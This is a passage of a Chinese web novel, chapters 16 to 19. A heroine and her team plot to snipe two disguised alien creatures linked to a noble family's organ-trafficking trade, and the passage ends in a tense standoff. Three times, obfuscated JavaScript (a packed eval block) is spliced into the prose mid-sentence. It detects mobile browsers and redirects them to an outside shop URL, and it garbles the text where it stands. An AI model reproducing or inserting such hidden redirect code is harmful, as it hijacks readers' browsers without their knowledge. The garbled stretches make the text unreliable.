同一班星舰抵达天曜星,此二人很可能是同伴。伯伦特则是在三个月前才来的,他曾在港口附近的酒店有过住房记录,但案发前一周他退了房后便销声匿迹,港口没有他离开天曜星的记录。也就是说他成了一名在天曜星上的失踪人口,比起前两位,我们觉得伯伦特更可疑。” “是么……”谢然喃喃,许是出于对伯伦特的同情,又许是对异域生物先入为主的成见,她很难接受伯伦特是凶手。 伯伦特只是个普普通通的平民,杀死一名贵族对他有什么好处? 总不可能是为了妹妹…… 她不由想起伯伦特给她看的照片,那女孩样貌平平,而布朗家的女仆姿色都比她艳丽三分。据伯伦特自己描述,妹妹样貌才智都不出挑,完全可以排除被贵族掳走拿来取乐的可能。 从任何角度来看,伯伦特都与布朗家沾不上任何关系。 他不可能是凶手。 猫猫牌悄悄从谢然口袋里飞出,趴在她肩膀上同她一起看向屏幕:“这两个棕头发的……总感觉有点熟悉,像在哪里见过。” “你指的是斯立特和阿尔?”谢然看向那两人的照片:“阿尔是我们昨晚遇到的蝠蟾,斯立特很可能也是异域生物,你曾见过他们,难道说你原身真与异域生物有牵扯?” “咳,先别乱猜,现在重点是眼下的案子。”猫猫牌打断她遐思,把话题拉回正轨:“蝠蟾我们见过了,其实力我们大概也有数。但关于斯立特,我们还一无所知。他的原形是什么样子的?异能是什么?等级有多高?正所谓知己知彼百战不殆,得弄明白这些我们才好筹备战术。” 文档里还有几张城市监控拍到的关于二人的照片,谢然仔细打量,得出一个结论:“蝠蟾和斯立特之间有很明显的等级关系,斯立特应该是蝠蟾的上级,按弱肉强食的规律,他的异能只会比蝠蟾强,不会比他弱。” 照片中,蝠蟾总是落后斯立特半步,若是身份平等的伙伴,身位不应该有这么明显的差距。 “你说得很有道理。那问题就变得更棘手了,我们连蝠蟾都打不过,遇到等级更高的异域生物又该如何应对呢?”猫猫牌说。 “到时候再说吧。”谢然也没什么太好的办法。她耳钉里还装着那堆异能试剂,实在不行她就再给自己来一针,赌一赌能不能变成超级赛亚人。 “行吧。”猫猫牌重新藏到她衣领下,谢然正要将他们交流的结果分享给众人,抬头却见裘景嵘和常纪明已就凶手是谁的问题吵了起来。 裘景嵘坚持认为凶手是伯伦特,常纪明却认为不能草率排除棕发二人的嫌疑,但他又说不出那二人有什么可疑之处。裘景嵘遂认为他纯纯找碴,想在女士前破坏他“又智慧又帅气”的形象。 常纪明觉得他简直不可理喻,互相怼了几句,一来二去便吵了起来。虽说是吵架,但由于不敢让隔壁听到他们吵架的内容,两人声音都压得很低,只能通过比中指翻白眼等肢体语言表达愤怒,场面一时有些滑稽。 苏祺和欧阳淮大眼瞪小眼,都不知该如何是好。 16. 第 16 章 谢然额角微抽,屈指瞧瞧桌面:“行了,都安生些。” 见谢然看过来,裘景嵘瞬间将扭曲的表情恢复如常,理了理刘海道:“见笑了,美丽的小姐。请相信我平常不这样。” 常纪明:“……” 谢然闭了闭眼,正色道:“斯立特和阿尔的确不能排除嫌疑,不仅如此,他们的嫌疑应该比伯伦特更大。” 裘景嵘有些讶异:“为什么?” “因为它们的身份并不简单,换句话说,它们是存在于人类认知以外的,‘怪物’。”她说。 “怪物?”众人皆有些诧异。 谢然将他们的表情尽收眼底,然后说:“接下来我要说的,可能会颠覆你们过往的认知。你们要做好准备,天曜星乃至整个联邦,可能将迎来一场我们难以预估的‘大灾难’。” 众人神色变得严肃,她将昨晚发生的事,隐去同大主司交谈的部分,完整讲述了一遍。最后说:“所以我不认为斯立特和阿尔——或者说这两名异域生物,与帕尔德·布朗的死没有关系。甚至我认为它们两个更像凶手。” 众人逐渐消化完海量的信息,常纪明深吸一口气,说:“的确,布朗先生死前身体急速衰老,此前我们一直想不出原因,但如若是这些怪物作祟便说得通了。” “那些异,额……异域生物打哪来的呢?”欧阳淮看向裘景嵘:“你们有没有查到那艘载他们来天曜星的星舰是从哪里启程的?” “当然,我们同样也好奇疑凶是从哪颗星上来的。”裘景嵘说:“载乘斯立特和阿尔的那艘R6035号星舰始发于首都星,但它到达天曜星前,曾经停二十七颗小星。那两人从任意一站都可上车,所以我们很难判断它们究竟来自于哪。” 他们很难将这些星球全部排查一遍,毕竟不是每颗星球都保存着半年以上的乘客记录。 谢然知道这是个无解的问题,因为异域生物并非来自联邦,而是来自外星系一颗不知名的星球,于是说:“先不要纠结这个问题了,只要它们还没离开天曜星,我们就有机会把它们逮出来。其余的我们可以等抓住它们后再问。” “也是。”常纪明说:“与其查它们的来历,不如直接去找它们如今的藏身之处。” “可要到哪里去找?天曜星那么大,我们完全没有寻它们的线索。”欧阳淮说。 常纪明看向苏祺:“你们有没有查到,它们最后一次出现在监控里是什么时候?” 苏祺叹了口气,说:“查了,是在两天前,极光山附近曾出现过他们的身影。但之后它们去了哪里完全不得而知,因为我们根本没查到它们在天曜星上有任何开房或消费的记录。” “这就奇怪了……”常纪明喃喃:“除非这些怪物不吃不喝也不需要休息,否则总会在这颗星球上留下痕迹。” 谢然陷入沉思,她并不觉得异域生物不需要补充能量,并且她认为那些怪物补充能量的方式应该和人类一样,就像之前在卡尔德里斯,那些怪物会和学生一样吃喝拉撒。 既然找不到它们的踪迹,那便只有一种可能:“它们很可能借住在帕尔德的私宅,所以无需抛头露面。” 常纪明惊讶:“你的意思是,布朗家会和那些怪物勾连在一块吗?这、怎么可能?” “你先听我说完。”谢然道:“此前我就怀疑,帕尔德若果真像他表现出的那般风清气正,怎会与人结怨引来杀身之祸?他手上一定藏着些见不得人的交易,这些交易甚至只掌握在他自己手里,连布朗家的人也不知道。 “异域生物有超乎我们想象的能力,这些能力是什么,我们尚且不知,但不代表帕尔德不知道。我猜他一定与异域生物达成过一些合作,他将自己的身体作为筹码交换了出去,然后获取了某种异域生物的‘能力’,所以他在急速衰老后没有任何异样的举动,连医生都没看过。就是因为他知道这是他应付出的代价。” 她不能透露自己知道异域生物拥有异能,说猜测时不免带了些上帝视角。好在她早在他们心中立住了“玄学”人设,这些超前的判断被他们自动解读为“神力加持下的提前预判”。 “然宝你好厉害!”苏祺像小迷妹般看着她,眼睛亮闪闪。 谢然十分受用地点点头,编这么多逻辑还能闭环,她也觉得自己很厉害。 其他三人也认可她的推断,常纪明说:“若异域生物藏身在帕尔德的私宅,那想找他们可就不容易了。” 毕竟这些贵族狡兔三窟,私宅都藏得很深,他们找都找不到。即使能找到,他们也没有权限擅闯人家家邸。 “我倒是觉得,不必咱们去寻,它们自会现身。”谢然说。 “自会现身……难道说,他们会来参加爱德华先生的继任典礼?”苏祺问。 谢然点头,常纪明想不通:“有什么依据吗?它们既已知我们在寻凶手,堂而皇之过来,岂非很危险?” 谢然摇头:“异域生物不一定会怕我们。且现在帕尔德被杀,难道交易就终止了吗?我并不这么认为。异域生物杀帕尔德,或许是因为利益冲突导致交易破裂,它们杀死帕尔德,更像是为了寻找更合适的合作者。而布朗家的黑色产业链在帕尔德死后会落到谁的手里?一定是新任家主爱德华对么?昨晚蝠蟾对爱德华的反应很不寻常,它真的想杀爱德华吗?我觉得没有。它的攻击更像是在试探,它在衡量新的合作伙伴是不是颗容易拿捏的软柿子。如果昨晚去那里的只有爱德华,我想蝠蟾或许会跟他达成新的合作。 “但昨晚他们没能达成合约,甚至蝠蟾没能向爱德华透露它的目的。所以今天它们一定还会再来。继任典礼结束后爱德华便要返回首都星,它们只能利用最后一天的机会接触他。且今天布朗家里有上千宾客,想要掩人耳目应当不是难事。” “只要它们能搞到邀请函。”裘景嵘摊手:“可惜我已经把市面上所有邀请函垄断了。” 谢然轻哼:“作为前任家主的合作者,搞到几张邀请函算什么难事?它们或许会乔装打扮,明天我们都得戒备起来,盯紧每一位客人。” “如果发现它们的踪迹,我们要怎么做?”欧阳淮问。 “明天在场客人那么多,即使发现了它们,咱们也不好动手吧?”常纪明说。 谢然目光落到他身上,嘴角扬起一抹淡笑:“我们拥有卡尔德里斯最厉害的狙击手,怎需要在现场动手?” 常纪明总觉得她笑容里带着几分不怀好意,不由抗拒道:“要我一枪击毙那两个异域生物?可是我没杀过人,它们又都披着人皮,这跟杀人有什么区别……” 谢然理解他为什么抵触,当年在卡尔德里斯她决定去杀那些“学生”时,内心也无比痛苦。 看到自己的同胞血肉飞溅,在濒死时露出痛苦的表情,这种场面带来的冲击力,不是在短时间内就能消解的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570523|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但事已至此他们没有选择,她只能拍拍常纪明的肩膀,尝试开导他:“怎么会没区别呢?虽然它们披着人皮,但本质上就是崎岖丑陋的怪物。你开枪时千万不要想太多。” “是么……” 见他有些动摇,谢然继续说:“而且它们是人类的敌人,卡尔德里斯没教过你面对敌人要怎样嘛?” 常纪明抿了下唇,回答道:“要下手干脆利落,绝不留情。” “这就对嘛。”谢然满意道:“不过以防万一,我们不能在典礼上动手。万一枪对它们无效,被惊吓后它们很可能对客人动手。最好的开枪时机就是它们去找爱德华的时候。对两个带着巨大利益来商谈合作的陌生人,爱德华最有可能将它们带到属于他的私密空间交谈,也就是他的书房。” 常纪明蹙眉:“可书房里安装的不都是防弹玻璃吗?” 布朗家主的书房可不能像三楼那样,出现那么大的纰漏。 谢然说:“你放心,这件事交给我,到时候你尽管开枪就是。” “好。”他点点头。 谢然昨晚便特地留意了书房的布局,说:“书房的窗户同三楼落地窗同一朝向,也就是说,在容毓开枪的地方也能打到书房。” 苏祺回忆道:“我记得那个方向约一公里开外,有一栋摩天大楼,视野开阔。” “就是那儿了。”谢然起身拍拍常纪明肩膀:“辛苦你了,纪明同学。” “……不辛苦。”常纪明无奈道。 典礼在上午十一点,他们还有两个小时可以休息。昨夜宴会散得晚,虽然已天光大亮,外边也没什么人。 等他们各自回房后,谢然拉上遮光窗帘,手垫在脑后躺到沙发上。 “有床不睡偏要睡沙发?”猫猫牌从她衣领下飞出:“什么癖好?” 谢然闭着眼开口:“我本来就不困。” 经过一晚上头脑风暴,她非但不困反倒更加精神。大脑皮层活跃度飙升,不停分析处理获得的所有信息。 她缓缓睁开眼,看着天花板说:“我要整理一下接下来亟须完成的事。” “好,我陪你。”猫猫牌落到她颈侧,加入她的头脑风暴。 需要解决的问题太多,谢然先梳理出几条最要紧的: 首先,得弄清楚容毓和管家在密谋什么。 其次,得弄清楚布帕尔德与异域生物做的交易是什么,帕尔德急速衰老是不是如她所猜的那般,是获得异能的另一种代价? 最后也是最重要的,她得弄清楚那两个异域生物的异能和等级,并杀死它们。 她有把握常纪明能击毙蝠蟾,但没把握他能杀死斯立特。关于另一只异域生物,他们了解得太少太少。 照片中蝠蟾对他是恭敬的,顺从的。这种谨小慎微的态度传递给她一种极其不好的预感,斯立特的等级很高,它的异能极有可能比蝠蟾强得多。 如果斯立特没能被击杀,离它最近的爱德华很可能有危险。 她未经爱德华允许,把他的命赌在了今天。她知道这是不人道的,过去正直的雷安特绝做不出这种事。 但现在的谢然不一样了。经过众叛亲离和三年蛰伏,她早已明白一个道理。 不想做出牺牲就达不到任何目的,为了消灭那些异域生物,她愿意放弃任何东西。 包括她的善良,仁义,甚至是她的人性。 17. 第 17 章 猫猫牌曲起牌面拱了拱她:“怎么又开始胡思乱想了?” 谢然哼道:“没有胡思乱想,只不过在感慨我真是个心硬如铁的女人。” 猫猫牌轻嗤:“是么?果真如此,那你告诉我你脑中规划的逃生路线是给谁准备的?” 谢然眉梢一跳:“你都能看到我的想法了?是不是异能又恢复了些?” “算是吧……你别打岔。”他飞到谢然面前,盯着她的眼睛说:“你不想让爱德华死,所以早就想好了要进去救他对么?” 谢然下意识垂下目光:“他毕竟是大主司的人,死在我手上没法交代,我总得试着去救一救……” “原来你是怕大主司追责?可大主司不是把爱德华的指挥权交给你了么?”他毫不留情戳破谢然的谎言:“进入骑士团的第一课就是学会牺牲,就算爱德华因公殉职,大主司也不会追究。” 他步步紧逼,谢然知道自己骗不过他,瘪嘴道:“有能看穿人心的异能就是了不起哦……” “别说得好像我欺负你一样,是你自我矛盾,还不让人说了?” “矛盾吗……”谢然不这么认为:“我只是觉得,爱德华是个惜命的人,想让他乖乖按我们的计划行动,得至少让他相信自己是绝对安全的。” 她没法靠一己之力,神不知鬼不觉换掉布朗家的防弹玻璃,所以从一开始她就决定好了,要跟爱德华摊牌他们的计划。 她打算赌一赌,在家族利益和人类命运前,爱德华会站在她这边。 “所以你并不是真的关心他的死活,只是不想让他影响了咱们的计划。”听谢然并非真心想救爱德华,猫猫牌声音里反倒多了几分释然。 谢然觉得好笑:“怎么感觉现在的结果你更满意?我想救他你反而生气……曲星臣,你的反应很不对劲呀,你刚刚不会在吃醋吧?” 她只不过开个玩笑,但这句话不知戳到他哪条神经,原本憨态可掬的胖猫一下炸了毛:“胡、胡说什么!谁吃醋了!” 谢然越来越觉得有趣:“急什么?真被我说中啦?我不想让爱德华死,你就这么介意?” 胖猫屈身,将牌卷成一个“纸筒”,往谢然头上敲去:“太阳还没起就做青天白日梦!他死不死关我什么事?你爱想什么想什么吧!我多余关心你!” 说完,他便飞进牌盒,顺带把盒盖锁住,拒绝再和她说话。 谢然屈指敲敲盒面:“真生气啦?” 牌盒纹丝不动,谢然无奈摇摇头,也不知这人打哪儿来的,脾气像猫一样傲娇,撩一句就炸毛。偏偏生气了又难哄,估计一时半会儿都不会搭理她了。 将牌盒收进口袋,闭上眼睛利用最后一点时间休息了会儿,闹钟响后麻利起身,在衣服里面换上一套贴身的防爆服,然后出门去与组员们集合。 其他几人也做好全副武装,不仅穿了防爆服,身上各处都藏了手枪炸弹等趁手的装备。他们的外衣本就很宽松,一点都看不出他们是行走的武器库。 因要去现场架枪,常纪明已于半小时出发。欧阳淮递给他们一人一副耳机,耳机接入了专属频道,他们能在频道内交流,也能接收芯片传导的信号。 谢然戴上耳机,点开按钮说:“常纪明,你那边怎么样?” 片刻后,常纪明那边传来回复:“我这边布置好了。放心,我的位置很隐蔽,不会被发现。” 他像站在风口,声音有些嘈杂,但传到耳机里的声音还算清晰。谢然接着问:“视野清晰吗?” 常纪明试了下倍镜,说:“完全没问题。但爱德华书房的窗帘是拉上的,得让他把窗帘拉开。” “这件事交给我们。”谢然说:“你自己把握好射击时机。” “好。” 确认好常纪明那边的情况,她转头看向另外三人,给他们安排任务:“我要先去更换书房里的防弹玻璃。苏祺,你负责把芯片放到容毓身上。欧阳淮裘景嵘,你们两个负责去盯到场的宾客,发现异常即刻汇报。” “好。”几人朝不同方向出发,苏祺三人去往前厅,谢然则前往位于主栋顶层的书房。 还有半小时就是继任典礼,爱德华还在书房处理琐碎的公务。 前任家主死得突然,留下烂摊子太多,他这几天几乎都是连轴转。 谢然推门而入,爱德华敲击键盘的手一顿,怔然:“谢然小姐……你来做什么?” “和你商量件事。”她拉开对面的椅子坐下,一手搭在桌面上:“有个杀死异域生物的法子,需要你以身入局,做一些牺牲。” 爱德华合上电脑:“要我做什么?” 她点开一张照片,把手机放到爱德华面前:“这是我们锁定的异域生物,身形较矮的这位你已经见过了,是昨晚的阿尔。旁边这位是它的同伴斯立特,预测实力应该在阿尔之上。” “这就是它们披的人皮吗……从外表根本看不出异样。”爱德华仔细端详照片:“它们还在天曜星吧?需要我带人去逮捕它们么?” “不需要。”谢然说:“我们推测过会儿典礼上,它们会主动来找你。我需要你更换书房的防弹玻璃窗,并把它们引到这里。我的朋友会在远处开枪击毙它们。” 爱德华不明所以:“它们找我做什么?” 她说:“自然是和你商议,关于‘那些’生意的事。” 爱德华微微眨了下眼:“什么意思?我不明白。” 谢然捕捉到他眼神一瞬间的闪烁,盯着他眼睛说:“布朗先生,器官买卖的生意好做么?” 男人瞳孔微震,难以置信道:“你……你说什么?” “装傻充愣不是解决问题的办法。”谢然没兴趣陪他演:“帕尔德死后,作为他所有产业的继承人,你应该比我知道得更多。” 爱德华攥紧双拳:“你……是怎么知道的?” 这便是承认了。谢然没有回答他的问题,只轻轻笑了下,眼里尽是冷漠。 起初她也猜不到布朗家隐藏的黑色产业链是什么,直到方才把所有信息重新串联一遍,才发现了隐匿在其中的真相。 伯伦特为什么来天曜星,他是来寻妹妹的。一个普通女孩消失一年之久,活不见人死不见尸,要么被囚,要么多半已经没命了。 她之前排除了最变态的一种可能,却忽略了即使那女孩相貌平平,却仍有利用的价值。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17573091|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个活人最大的价值就是她的身体。 她早就听说黑市间流通着一条买卖器官的黑色产业链,这种交易暴利却有极高的风险,除了手眼通天手握重权的贵族,谁敢涉足? 但这种交易无法摆在明面上,最好知道的人越少越好。所以她猜,整个布朗家只有家主参与了进来,而爱德华在接任家主时,便知道了这个秘密。 异域生物与帕尔德的交易,应当也与器官买卖有关,但她暂时猜不到具体的交易内容。 至于爱德华是否知道异域生物曾与前任家主有过合作……她认为他应当不知。否则他大可以主动去帕尔德的私宅联系阿尔和斯立特,也无需它们冒风险来布朗主宅。 现在她给爱德华两个选择:要么为家族利益继续跟异域生物合作,要么为全人类共同利益做出牺牲。 爱德华苦笑了下,这哪是选择?分明是赶鸭子上架。 谢然握着他的把柄,他若不答应,整个布朗家都得跟着完蛋。 他深吸一口气,说:“谢然小姐,作为守护联邦的骑士团团长,这样的要求我自然义不容辞。但布朗家的私事,我希望你不要插手。” “那种肮脏的交易你还要做吗?”谢然蹙眉:“你难道就不怕我揭发你们的罪行?” “那不仅是布朗家的事,其中牵扯太多,非我一人能左右。”爱德华说:“谢然小姐,你与我朋友一场,请听我一句劝,若不想引火烧身,不要管多余的事。” 谢然沉默。能让布朗家主进退两难饱受掣肘的,天曜星上只有容家。 再往上,应当还有曲家。 掌控联邦三分之一的超级大家族,表面光鲜亮丽,内里却这般肮脏不堪。 谢然一点也不惊讶。 “这种生意你们做了多久?” “据族叔的笔记说,大概三年多一点。”爱德华说。 “曲家和容家也是吗?” “嗯。” 谢然双手抱胸靠在椅背上,冷冷地盯着爱德华:“如果我说,这件事我一定要管呢?” 爱德华没想到她那么执拗,叹了口气,重新将电脑打开,屏幕转向她。 屏幕里是前厅的监控画面,画面中心则是一道熟悉的身影。 “谢然小姐认识他么?他是我锁定的真凶,一个名叫伯伦特的平民。” 谢然眉心一紧,没回答他的问题,反问:“你早知帕尔德并非是被异域生物所杀,对吗?” “也不算太早。”爱德华说:“昨晚见识过蝠蟾的破坏力后,我才起了疑心。若人真是它们那种怪物所杀,现场是否太整洁了些?后来我重新比对了那张案发现场的照片,发现了一点之前不曾注意到的小细节。” “什么?” 爱德华调出照片,指着凶器插入的位置:“这里的血迹是不是比那些迸溅到远处的血珠,颜色要浅一些?” 谢然点点头,的确是这样。 这处小细节,她在刚拿到照片时就注意到了。 如果不是同情心作祟,她在一开始就该锁定伯伦特是凶手。 但感性最终占据上风,让她刻意忽略了这最关键的证据。 18. 第 18 章 爱德华说:“族叔遇害后,布朗家便对天曜星展开全面排查,在你们到达前便锁定了凶手是他。他妹妹死在布朗家的手术台上,若细究他的动机,恐暴露布朗家的生意。于是我们一致决定,将其秘密处决。但令人意想不到的是,我们发现他身上携带了一种特殊的兵器。” “特殊的兵器?”谢然不解。伯伦特一个穷人,能从哪儿搞来兵器? 他将画面暂停,指着伯伦特的手套说:“请看这里。” 天曜星上气温不低,伯伦特戴手套本就奇怪,细看之下,手套周围竟还冒着一层寒气。 谢然暗自吃惊,那是伯伦特的异能——游冰! 他拥有控制冰的能力,当时谢然卖给他的是一管C级异能,他尚可控制异能不外泄,现在竟到了无法自控的程度了吗? 直觉告诉她,伯伦特的异能增强了,甚至超越了C级达到了B级水平。 有这样强大的异能,悄无声息潜入戒备森严的贵族府邸,不露破绽杀死一家之主,对他来说应当轻而易举。 但世上没有完美犯罪,再强大的异能者也会在现场留下痕迹。刀口处浅淡的血迹便是凶手遗留下的线索。 血液遇水稀释,颜色才会变淡。伤口处为什么会出现水渍?说明真正的凶器并非是那把水果刀,而是一把冰刀。 “谢然小姐,请注意一处细节。”爱德华在伯伦特左手腕处画了个圈,许是不小心,伯伦特袖口微微上翻,露出一截透明的手腕。 她佯装吃惊:“这是什么?用新型材料做的义肢吗?” “应该是吧,或者说,这是他携带的特殊武器。”爱德华说。 谢然“哦”了一声。她知道那是伯伦特用异能自造的冰块手,但爱德华尚不知异能的存在,便将其理解成了“特殊武器”。 “布朗家的安保员曾伪装成强盗与他交过手,他的武器能打出一种类似于冰的物质。质地比子弹坚硬,且无法融化。他重伤了三名安保员,然后不知所踪,直到今天我发现他出现在这里,让我不得不怀疑他是否又是来寻仇的。” 谢然问:“他哪来的邀请函?” “三日前,前来参加典礼的斯坦尼夫人在酒店遭遇袭击,至今仍昏迷不醒。她行李中的财物以及那张邀请函全都消失不见。我怀疑是伯伦特将一切伪装成入室抢劫,实则是为了那张邀请函。”爱德华说。 “你打算怎么做?”谢然重新靠回椅背,神色淡淡。 既然他已确认伯伦特是凶手,没道理不将他逮捕归案。 爱德华身体微微前倾,盯着她眼睛说:“谢然小姐,莫要再装傻了,你当真不知他是谁吗?” 她眉心一蹙,她应该知道吗? 她只见过伯伦特一面,难道爱德华知道她是异能小卖部老板了? 胖猫的声音自脑海中响起:“我有种不好的预感,这个问题你最好不要回答。” 她在脑海中回:“气消了?” 猫猫牌冷哼一声,重新陷入沉默,明显还不想原谅她。 谢然轻轻笑了下,抬眸看向爱德华,反客为主问道:“我应该认识他吗?” 她眼神明亮,丝毫不露怯。让男人不由陷入自我怀疑,顿了片刻才开口:“原来你不知那位中学老师毁容后的事。” 谢然搭在手臂上的指尖微不可察收紧,中学老师?什么意思? 她默不作声,只听爱德华怎么说。男人见她没什么反应,略有些遗憾:“你的中学老师伯伦特在三年前因一场意外毁容,他面部骨骼大面积错位挫伤,无法恢复原貌,最终整成了现在这副模样。原以为这种事你应当知道,毕竟上学时你被地痞流氓劫走,是伯伦特救了你一命。我想你应当不想看到恩师被捕入狱,还想借此与你谈个条件。” 爱德华说的应当是“谢然本人”的故事,如今的谢然对此一无所知。 但爱德华的意思她听懂了,他认为她不会对恩师见死不救,想拿伯伦特的命与她做一场交换。 交换的是什么自然不言而喻,爱德华不想让她再插手布朗家的器官买卖的生意。 谢然缓缓垂下眸子,长睫在脸上打下一片阴影。 虽然她不是“谢然本人”,但她同样不希望伯伦特死。 他是为数不多的异能者,比十个帕尔德的命加起来都重要,为这种人丧命不值得。 片刻后,她做出抉择:“我答应你。你们家的生意我不再插手,但我希望你好自为之。” “谢然小姐是个聪明人。”爱德华满意地笑了笑:“我会派人往伯伦特的酒里倒一点安眠药,把他丢出布朗宅邸。只要他不再找事,我保证布朗家不会动他一根手指。” 谢然嗯了一声:“还有防弹玻璃。” “你放心,过会儿仆人会过来更换,我会按照你的指示行动。” “如果我的队友没能将异域生物击杀,你就跳窗逃走,我会在外面接应你。”这是她唯一能想到的逃生路线。 “谢然小姐,容我提醒一句这里是五楼,从这里跳下去我也会没命。”爱德华无奈道:“我们也没法在楼下安置缓冲垫吧?太容易打草惊蛇。” “你尽管跳,我不会让你死。”谢然淡声说:“顶多受点小伤。” “好吧,事已至此我也只能相信你。” 他起身理了理衣服,仆人早已候在门外,见他出来,忙给他披上象征家主的华丽外袍,并递上象征权力的手杖。 爱德华冲她挥挥手:“祝我们好运,谢然小姐。” “祝你不会死在今天。”谢然说。 为防止被人看到起疑,她跟爱德华在书房门口分别,换了条路返回前厅。 昨夜她在众目睽睽下带走爱德华,当时便惹得议论纷纷,经过一晚发酵,绯闻更传了好几个版本。以至于她一进场便收获了无数目光。 谢然不为所动,面无表情环视一圈,却没看到伯伦特的身影。布朗家的人动手比她预料中还快。 正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575424|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口附近的苏祺注意到她,迅速朝她走过来,把她拉到角落里避开那些人的打量。 爱德华登场走上前台致辞,众人这才将目光撤走,落到这位新家主身上。苏祺松了口气,小声说:“然宝,我怕容毓发现,把芯片卡进了她包里的口红盖子里。位置足够隐蔽,但声音闷了些,得仔细听才能听到。” 谢然点开耳机,听到里面传来一些类似衣料摩擦的窸窣声,紧接着听到容毓说:“请给我一杯酒,谢谢。” 以她的身份应当在礼堂前排,与他们隔着茫茫人海,谢然踮脚往里望了望,完全没看到容毓的身影。 “算了,先不管她。裘景嵘和欧阳淮呢?有没有找到那两个异域生物?” “我们在礼堂西南角。”耳机里传来裘景嵘的回复,他声音压得很低,似怕被人听到:“那两个异域生物也在这儿,爱德华上台后,它们便一直盯着他。” 致辞结束后,爱德华会下台更衣,准备接下来的舞会。彼时他会前往后厅更衣室,斯立特两人只能借这个机会与他单独接触。 谢然冲着耳麦说:“大概十五分钟后敌人将进入射程,常纪明你做好准备。” “收到。”常纪明回道。 一切皆按计划进行,爱德华下场后,敌人如预料那般起身,径直前往后厅。 谢然让裘景嵘二人继续跟着,嘱咐苏祺留在前厅,如遇突发情况先疏散客人。自己则来到前厅外的花园,躲到一棵树下盯着书房窗户的方向。 “曲星臣,帮我算算今天有几成把握击毙那两个异域生物?” 片刻后没得到回应,她才想起那家伙还在生气。 把牌盒掏出来屈指又敲了两下:“猫猫大人,我错了,别生气了好不好?” 牌盒掀开一条缝,猫猫牌头顶着盒盖,幽怨道:“我不是你的专属占卜牌。” “你当然不是,你是我最重要的同伴。”谢然说。 他心情这才好了一点点,双目半阖凝神沉思片刻,说:“你们能在今天把那两个异域生物都击毙的可能性为——零。” “击毙一个总可以吧?或者能重伤它们也行。” 猫猫牌说:“那是两个高阶异域生物,有关它们的细节问题我看不出来。” 异能之间本就有等级压制,等级与他近似的他只能看个大概,若高于他,他则完全无法卜算对方的命运。 谢然叹了口气:“那便没办法了。” 见她掏出手枪对准自己,猫猫牌大惊,急忙从盒子里飞出来:“你要做什么!” 谢然没说话,咬紧牙关“砰砰”朝自己肩膀开了两枪。枪管上装了消声器,开枪的声音不大,连树梢上的鸟都没有惊动,却吓得曲星臣差点心脏骤停。 不对,他哪儿来的心脏…… 曲星臣愣神片刻,待他回魂,眼前人半边身体已被血液迅速染红。他目光一凝,恨不得从牌里飞出来揍她一顿。 “谢然,你简直是个疯子!” 19. 第 19 章 将最初的那阵剧痛忍过去后,谢然勉强抬起嘴角笑了笑:“没办法嘛,既然常纪明无法杀死那两个异域生物,我只能提前做好准备了。” 两个异域生物已被引至书房,既然无法将其击毙,她只能率先开启异能,准备迎接下面一场硬仗。 把手枪丢到一旁,继续观察书房里的动静。见爱德华走至窗边,她点开耳麦:“常纪明,做好准备!” 耳机那头的人“嗯”了一声,在阿尔露头的一瞬,从远处传来一道破空之声,玻璃顷刻炸裂,一枚子弹贯穿它的头颅,瞬间夺走它的性命。 谢然心脏狂跳,第二枚子弹紧接着朝书房内打去,谢然看到一只手虚虚抬起,然后五指紧握,再没了动静。 一种极不好的预感涌上心头,只见斯立特走到窗边张开手指,掌心里静静躺着那枚朝它发射的子弹。 谢然骇然,它竟徒手截停了狙击枪的子弹吗? 她视力极好,能清楚看到它掌心没有一点伤。若不是方才事发突然,恐怕常纪明都不能在它眼皮子底下杀死蝠蟾。 蝠蟾的死给了她些许希望,但斯立特的出现却让她的希望瞬间破灭。 此刻她更加清楚意识到,面前的敌人的实力强到他们难以想象的程度。与这种等级的异域生物硬碰硬绝对不行,若放任它在这里大闹一场,整个布朗府邸都有可能化作齑粉。 不光她这么想,楼上的爱德华亦做出同样的判断。 他站得近,理应看得更清楚,但斯立特出手太快,他完全看不出它是如何截停的子弹,它轻松的模样仿佛是在空中握住一根羽毛。 这般变态的强度,他们如何抗衡? “真是份别致的礼物呢,爱德华先生。”斯立特转过身,幽深晦暗的目光盯着他,仿佛在看一个死人。 他强装镇定:“像我们这样的家族,很容易招惹是非。昨日家中也遭遇了枪袭,幸好有惊无险。” “你的意思是,这是一场意外?”斯立特将子弹丢到他鞋前,淡漠的视线落到阿尔尸体上:“但我的同伴死了,布朗家主不打算给个交代?” “我会给他安排一场隆重的葬礼。”爱德华说。 斯立特嘴角冷冷向上一提:“看来布朗家主拿不出与我们合作的诚意。” 爱德华咽了口唾沫,方才这两个异域生物同他讲了许多莫名其妙的话,其中最让他在意的,是许诺给他强大的异能,但条件是必须让它们加入布朗家在黑市场的生意。 